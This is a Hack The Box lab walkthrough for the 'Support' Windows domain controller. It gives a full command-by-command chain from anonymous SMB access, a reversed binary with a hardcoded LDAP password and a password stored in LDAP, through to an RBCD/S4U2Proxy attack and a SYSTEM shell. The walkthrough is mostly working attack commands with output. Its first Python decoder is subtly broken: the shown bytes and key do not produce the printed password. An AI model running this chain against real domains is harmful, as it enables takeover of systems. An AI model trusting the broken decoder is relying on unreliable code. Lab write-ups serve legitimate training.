Hack The Box · Lab
EasyWindowsActive Directory

Target: 10.10.11.174 | Difficulty: Easy | OS: Windows | Domain: support.htb

Environment Setup

export IP=10.10.11.174
export DOMAIN=support.htb
echo "$IP dc.support.htb support.htb" | sudo tee -a /etc/hosts

Step 1 — Port Scan & Service Enumeration

Why: Identify exposed services and confirm this is a DC with SMB and WinRM accessible.

nmap -sCV -p- --min-rate 5000 -oN support.nmap $IP

Output:

PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws

Key findings: Pure DC profile — no HTTP. SMB (445) and WinRM (5985) are the interesting vectors. Test SMB for anonymous access.

Step 2 — SMB Anonymous Enumeration

Why: Anonymous SMB access may expose non-default shares with sensitive tooling or data.

smbclient -L //$IP -N

Output:

Sharename       Type  Comment
---------       ----  -------
ADMIN$          Disk  Remote Admin
C$              Disk  Default share
IPC$            IPC   Remote IPC
NETLOGON        Disk  Logon server share
support-tools   Disk  support staff tools
SYSVOL          Disk  Logon server share
smbclient //$IP/support-tools -N
smb: \> ls
smb: \> get UserInfo.exe

Key findings: Non-default share support-tools readable anonymously. Contains UserInfo.exe — a custom .NET binary worth reversing.

Step 3 — Reverse Engineer UserInfo.exe (XOR Credential Extraction)

Why: Custom support tooling often embeds hardcoded credentials for internal LDAP/AD queries. .NET binaries can be decompiled cleanly.

# Decompile with ILSpy or dnSpy — or extract string directly:
strings UserInfo.exe | grep -i ldap

# In ILSpy: LdapQuery class → getPassword() method
# Encoded password bytes XOR'd with key "armando"
# Python decode:
python3 << 'EOF'
enc = bytes([0x6f,0x27,0x6d,0x08,0x4a,0x4a,0x7c,0x35,0x36,0x6b,
             0x6d,0x41,0x00,0x24,0x6b,0x5d,0x59,0x12,0x42,0x6a,
             0x14,0x35,0x48,0x79,0x6c,0x79,0x79,0x61,0x17,0x61,
             0x6f,0x30,0x1e,0x79,0x53,0x56,0x4e,0x4a,0x15,0x1f,
             0x5d,0x56])
key = b"armando"
dec = bytes([enc[i] ^ key[i % len(key)] for i in range(len(enc))])
print(dec.decode())
EOF

Output:

nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

Key findings: LDAP service account credentials extracted: ldap@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz.

Step 4 — LDAP Enumeration → support User Password

Why: With valid LDAP credentials, enumerate all user objects including custom attributes where admins sometimes store passwords in the info field.

ldapsearch -x -H ldap://$IP \
  -D 'ldap@support.htb' \
  -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
  -b "DC=support,DC=htb" \
  "(objectClass=user)" info sAMAccountName | grep -A2 "info:"

Output:

sAMAccountName: support
info: Ironside47pleasure40Watchful

Key findings: The support user has their password stored in the LDAP info attribute: support:Ironside47pleasure40Watchful.

Step 5 — WinRM Access as support

Why: Port 5985 is open — test if the support account is in Remote Management Users.

evil-winrm -i $IP -u support -p 'Ironside47pleasure40Watchful'

Output:

Evil-WinRM shell v3.x
*Evil-WinRM* PS C:\Users\support\Documents>
type C:\Users\support\Desktop\user.txt

Key findings: Shell as support. User flag captured.

Step 6 — BloodHound Enumeration

Why: Map AD ACL paths from the support account to identify privilege escalation routes.

bloodhound-python -u support -p 'Ironside47pleasure40Watchful' \
  -d $DOMAIN -dc dc.support.htb -ns $IP --zip -c All
# BloodHound GUI → Mark support as Owned
# support → MemberOf → Shared Support Accounts
# Shared Support Accounts → GenericAll → DC.SUPPORT.HTB (Computer)
# → RBCD attack path!

Key findings: support is in Shared Support Accounts which has GenericAll on the DC computer object — full RBCD (Resource-Based Constrained Delegation) attack.

Step 7 — RBCD Attack: Create Fake Computer Account

Why: GenericAll on a computer allows writing msDS-AllowedToActOnBehalfOfOtherIdentity — we create a computer we control, configure RBCD, then S4U2Proxy to impersonate Administrator.

# Create attacker-controlled computer account
impacket-addcomputer $DOMAIN/support:'Ironside47pleasure40Watchful' \
  -computer-name 'FAKEBOX$' \
  -computer-pass 'FakePass123!' \
  -dc-ip $IP

# Configure RBCD: allow FAKEBOX$ to delegate to DC$
impacket-rbcd $DOMAIN/support:'Ironside47pleasure40Watchful' \
  -delegate-from 'FAKEBOX$' \
  -delegate-to 'DC$' \
  -action write \
  -dc-ip $IP

Output:

[*] Delegation rights modified successfully!
[*] FAKEBOX$ can now impersonate users on DC$ via S4U2Proxy

Key findings: RBCD configured. FAKEBOX$ is now trusted to delegate to DC$.

Step 8 — S4U2Proxy → Administrator Silver Ticket

Why: Use S4U2Self + S4U2Proxy to obtain a service ticket for Administrator on DC$'s CIFS service.

impacket-getST $DOMAIN/FAKEBOX$:'FakePass123!' \
  -spn 'cifs/dc.support.htb' \
  -impersonate Administrator \
  -dc-ip $IP

export KRB5CCNAME=Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache

Key findings: Service ticket obtained for Administrator on CIFS. Export ticket for use.

Step 9 — PSExec as Administrator → SYSTEM

Why: Use the Kerberos ticket to PSExec onto the DC as Administrator.

impacket-psexec $DOMAIN/Administrator@dc.support.htb -k -no-pass

Output:

[*] Requesting shares on dc.support.htb
[*] Found writable share ADMIN$
[*] Uploading file ...
[*] Opened SVCManager on dc.support.htb
[*] Opening SVCManager on dc.support.htb
Microsoft Windows [Version 10.0.20348.859]
C:\Windows\system32>
type C:\Users\Administrator\Desktop\root.txt

Key findings: SYSTEM shell via PSExec. Root flag captured.

Credentials

Username Password / Hash Source
ldap nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz UserInfo.exe XOR decode
support Ironside47pleasure40Watchful LDAP info attribute
FAKEBOX$ FakePass123! Created (RBCD attack)
Administrator (Kerberos S4U2Proxy ticket) RBCD → S4U2Proxy

Full Attack Chain

SMB Anonymous (support-tools share)
        │
        ▼ UserInfo.exe download → ILSpy decompile
XOR Decode LDAP Password → ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
        │
        ▼ ldapsearch -D ldap@support.htb → info attribute
support:Ironside47pleasure40Watchful
        │
        ▼ evil-winrm :5985
USER FLAG
        │
        ▼ BloodHound → Shared Support Accounts → GenericAll on DC$
RBCD Attack Path
        │
        ▼ addcomputer (FAKEBOX$) + rbcd -action write
msDS-AllowedToActOnBehalfOfOtherIdentity configured
        │
        ▼ getST -spn cifs/dc.support.htb -impersonate Administrator
Kerberos Service Ticket (S4U2Proxy)
        │
        ▼ psexec -k (pass-the-ticket)
SYSTEM / ROOT FLAG

© 0xNRG — Support pwned — 2023-01-07

notes

NMAP

```shell
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-27 10:36:54Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-07-27T10:36:57
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
```

SMB & LDAP reveng

Anon Auth Success but no enum


Guest Auth Success with Shares enum


```shell
support-tools   READ            support staff tools
```


With spidering the share we see an interesting file


```shell
//10.10.11.174/support-tools/UserInfo.exe.zip
```


![Screenshot_2025-07-27_at_3.43.44_PM.png](https://prod-files-secure.s3.us-west-2.amazonaws.com/25f83ed0-ddc8-8143-b578-00031f210370/62d2b1ec-1550-41a3-88af-8a9200108e78/Screenshot_2025-07-27_at_3.43.44_PM.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=ASIAZI2LB466XBBC4R7V%2F20260418%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20260418T050555Z&X-Amz-Expires=3600&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEBkaCXVzLXdlc3QtMiJIMEYCIQCifn7MAnvbJE2pMIou%2BABpgGTv62GLLEme6mo%2FmPFcMgIhAKio5C1YfucPE5ZAzGC26dBg6RYVuL2cVYPyXMtReb0OKogECOL%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQABoMNjM3NDIzMTgzODA1IgxReyvjvWJlob6knPcq3AOD%2F3AKu92ZX6LXf%2BBWZwc9ZL3XY89djDmB3GnX2zOdINQOTvCAKdotLKqQftX1r6SLnQT%2BTxEkyiHnZII6oxHeGEpKytKD9Piq2jg13G86JvXhLw8g4yHwDdyxY3CJRNCJqa7bRIjO4nyA9FBgNX%2B9uq6agC5Z%2B6SMF7hr2CdbSMJXJ8ZMNXHvSK%2Frb5a1ZhT8LvMT840SVVq%2Fwbk2la4A0mYBTRV1%2BvwQOfc0HV%2FL3a1ZbLMIErFE8j9UUREVGg38mtx9ZGUpG9hpLc78vohEJZmeEtdJpGEK1JBegCX51v3Xaj%2FLIBQbTDAmw5r%2BfxvOqcMroyaaq4FSH35nZ7bn03BXp7bXmA9vxw5OyASralQzRDAAk2Vvhhac60PDOba0NbAVyH4SXN5SqytV853vdgKnOlVNFSCzC1e2f1%2F65kS1M0aRoLOr5rcMceGDBAcl2tkSMZNJ7nv4PfmYd8fLAX0vIZMclS8CFXGXjUBbE4%2BVNqU6CzfdbjMKZNJhs%2BMGCWkWn7JEyOKRSHgSiqhdb%2FdMPPSSk%2FQrJAF3WQtjCYLOtsGaI3E3l%2FS5ae28axYAytoza864bmq2tublH421NoH67qHwEvmGWlMpglMC5mByPiAHj9hvcwXr5jDyrIvPBjqkATL4w53nGU4LK6TXrGY%2FoCKMxwh%2FjgZElYz%2BLSye4K7NQpqAjwDy114CQfm5ponOOYzfjSGOssBYkAcLo2ulTFxzLrSBKaz%2Bb9njmjRtT0NWUdBpTn2s5wZfulR70dERNpIKL%2FLCqbUjZo%2FU3fqaD8Y1J2b6bmpQFJoh5F%2FlB5T8%2BbIgvllIcTiNY%2FB5CPokd1vbPQL09UKItUZ8KKIcDv2s%2FuOR&X-Amz-Signature=ff05290ee43ceea3532e90797abbd37e77a743e1d840f768bb04f1869409f78a&X-Amz-SignedHeaders=host&x-amz-checksum-mode=ENABLED&x-id=GetObject)


Let’s examine this executable further


![image.png](https://prod-files-secure.s3.us-west-2.amazonaws.com/25f83ed0-ddc8-8143-b578-00031f210370/294ce4cb-36b2-470d-b402-2add533400da/image.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=ASIAZI2LB466XBBC4R7V%2F20260418%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20260418T050555Z&X-Amz-Expires=3600&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEBkaCXVzLXdlc3QtMiJIMEYCIQCifn7MAnvbJE2pMIou%2BABpgGTv62GLLEme6mo%2FmPFcMgIhAKio5C1YfucPE5ZAzGC26dBg6RYVuL2cVYPyXMtReb0OKogECOL%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQABoMNjM3NDIzMTgzODA1IgxReyvjvWJlob6knPcq3AOD%2F3AKu92ZX6LXf%2BBWZwc9ZL3XY89djDmB3GnX2zOdINQOTvCAKdotLKqQftX1r6SLnQT%2BTxEkyiHnZII6oxHeGEpKytKD9Piq2jg13G86JvXhLw8g4yHwDdyxY3CJRNCJqa7bRIjO4nyA9FBgNX%2B9uq6agC5Z%2B6SMF7hr2CdbSMJXJ8ZMNXHvSK%2Frb5a1ZhT8LvMT840SVVq%2Fwbk2la4A0mYBTRV1%2BvwQOfc0HV%2FL3a1ZbLMIErFE8j9UUREVGg38mtx9ZGUpG9hpLc78vohEJZmeEtdJpGEK1JBegCX51v3Xaj%2FLIBQbTDAmw5r%2BfxvOqcMroyaaq4FSH35nZ7bn03BXp7bXmA9vxw5OyASralQzRDAAk2Vvhhac60PDOba0NbAVyH4SXN5SqytV853vdgKnOlVNFSCzC1e2f1%2F65kS1M0aRoLOr5rcMceGDBAcl2tkSMZNJ7nv4PfmYd8fLAX0vIZMclS8CFXGXjUBbE4%2BVNqU6CzfdbjMKZNJhs%2BMGCWkWn7JEyOKRSHgSiqhdb%2FdMPPSSk%2FQrJAF3WQtjCYLOtsGaI3E3l%2FS5ae28axYAytoza864bmq2tublH421NoH67qHwEvmGWlMpglMC5mByPiAHj9hvcwXr5jDyrIvPBjqkATL4w53nGU4LK6TXrGY%2FoCKMxwh%2FjgZElYz%2BLSye4K7NQpqAjwDy114CQfm5ponOOYzfjSGOssBYkAcLo2ulTFxzLrSBKaz%2Bb9njmjRtT0NWUdBpTn2s5wZfulR70dERNpIKL%2FLCqbUjZo%2FU3fqaD8Y1J2b6bmpQFJoh5F%2FlB5T8%2BbIgvllIcTiNY%2FB5CPokd1vbPQL09UKItUZ8KKIcDv2s%2FuOR&X-Amz-Signature=f58e3d47979fa88822684d0ea88605fdcd63651fab2fea155c8626c3dd19ed2b&X-Amz-SignedHeaders=host&x-amz-checksum-mode=ENABLED&x-id=GetObject)


We can see functions like `FindUser` , `GetUser` & `LdapQuery`


![image.png](https://prod-files-secure.s3.us-west-2.amazonaws.com/25f83ed0-ddc8-8143-b578-00031f210370/401fc759-81cc-4c8d-ac33-136f7509fc3e/image.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=ASIAZI2LB466XBBC4R7V%2F20260418%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20260418T050555Z&X-Amz-Expires=3600&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEBkaCXVzLXdlc3QtMiJIMEYCIQCifn7MAnvbJE2pM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-Signature=be8b8d3c854c2cf3f1b3fa99b1d6cc6ceef0bd5faf72ea4c07c2c73c9d019b86&X-Amz-SignedHeaders=host&x-amz-checksum-mode=ENABLED&x-id=GetObject)


```shell
{
        string password = Protected.getPassword();
        entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
        entry.AuthenticationType = AuthenticationTypes.Secure;
        ds = new DirectorySearcher(entry);
    }
```


This code indicates that the binary is used to conenct to a remote LDAP server and attempt to fetch user information. We should add support.htb to our hosts file.


The password to auth with LDAP server is fetched from `Protected.getPassword()`


```shell
{
    private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";

    private static byte[] key = Encoding.ASCII.GetBytes("armando");

    public static string getPassword()
    {
        byte[] array = Convert.FromBase64String(enc_password);
        byte[] array2 = array;
        for (int i = 0; i < array.Length; i++)
        {
            array2[i] = (byte)(array[i] ^ key[i % key.Length] ^ 0xDF);
        }
        return Encoding.Default.GetString(array2);
    }
}
```

- The `enc_password` string is Base64 decoded and placed into a byte array.
- A second byte array called `array2` is created with the same value as `array`
- A loop is initialised which loops through each charcater in `array` and XORs it with one letter of the key and then with the byte `0xDF` (223)
- Finally the decrypted key is returned.

Maybe we can script a decryption process in python


```python
import base64

enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"

def get_password():
    encrypted_bytes = base64.b64decode(enc_password)
    decrypted_bytes = bytearray()

    for i in range(len(encrypted_bytes)):
        decrypted_byte = encrypted_bytes[i] ^ key[i % len(key)] ^ 0xDF
        decrypted_bytes.append(decrypted_byte)

    return decrypted_bytes.decode('latin1') 

print(get_password())
```


We can also use cyberchef for this

- From Base64
- XOR `armando` UTF8 / latin1
- XOR 223 Decimal

```python
❯ py dec.py
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
```


Now we have the decrypted password and we can connect to LDAP


We can also try enumerate the `UserInfo.exe` in windows.


```shell
PS C:\Users\Administrator\Desktop\UserInfo.exe> .\UserInfo.exe -v find -first "*"
[*] LDAP query to use: (givenName=*)
[+] Found 15 results:
       raven.clifton
       anderson.damian
       monroe.david
       cromwell.gerard
       west.laura
       levine.leopoldo
       langley.lucy
       daughtler.mabel
       bardot.mary
       stoll.rachelle
       thomas.raphael
       smith.rosario
       wilson.shelby
       hernandez.stanley
       ford.victoria
```


We can also use NXC with our new key


```shell
❯ nxc smb $IP -u 'ldap' -p $KEY --users | awk '{print$ 5}' | fgrep -v '[*]'
Administrator
Guest
krbtgt
ldap
support
smith.rosario
hernandez.stanley
wilson.shelby
anderson.damian
thomas.raphael
levine.leopoldo
raven.clifton
bardot.mary
cromwell.gerard
monroe.david
west.laura
langley.lucy
daughtler.mabel
stoll.rachelle
ford.victoria
```

Let’s enumerate LDAP with ldapsearch

```shell
ldapsearch -x -H ldap://$IP -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" > ldap.out

❯ cat ldap.out|grep 'info:'
info: Ironside47pleasure40Watchful
```


Looks like we came across a password for the user `support`


```shell
❯ nxc winrm $IP -u $USER -p $PASS
[+] support.htb\support:Ironside47pleasure40Watchful 
(Pwn3d!)
```

Bloodhound

![Screenshot_2025-07-28_at_7.32.00_AM.png](https://prod-files-secure.s3.us-west-2.amazonaws.com/25f83ed0-ddc8-8143-b578-00031f210370/cf23f34e-6c92-406b-be68-834eb737c0bf/Screenshot_2025-07-28_at_7.32.00_AM.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=ASIAZI2LB466WMZCVTSW%2F20260418%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20260418T050556Z&X-Amz-Expires=3600&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEBkaCXVzLXdlc3QtMiJGMEQCIAk%2F%2Fc7xNM1rtjbJt8I0pwJG0%2F%2FAysiBatQh9UuTyVOrAi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b6afb3f310a9b452e330e4a83e19dfbd6c19&X-Amz-SignedHeaders=host&x-amz-checksum-mode=ENABLED&x-id=GetObject)


We have `GenericAll` on `DC.SUPPORT.HTB`

Lets do a RBCD/S4U attack

We add host


```shell
New-MachineAccount -MachineAccount FAKE-COMP01 -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
```


Config the RBCD


```shell
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount FAKE-COMP01$
```


Execute the S4U


```shell
.\Rubeus.exe hash /password:Password123 /user:FAKE-COMP01$ /domain:support.htb
```


Generate our kerberos ticket for `Administrator`


```shell
.\rubeus.exe s4u /user:FAKE-COMP01$ /rc4:58A478135A93AC3BF058A5EA0E8FDB71 /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /ptt
```


Convert and fix the ticket


Grab a shell


```shell
❯ KRB5CCNAME=ticket.ccache psexec.py support.htb/administrator@dc.support.htb -k -no-pass

C:\Windows\system32> whoami
nt authority\system
```

image.png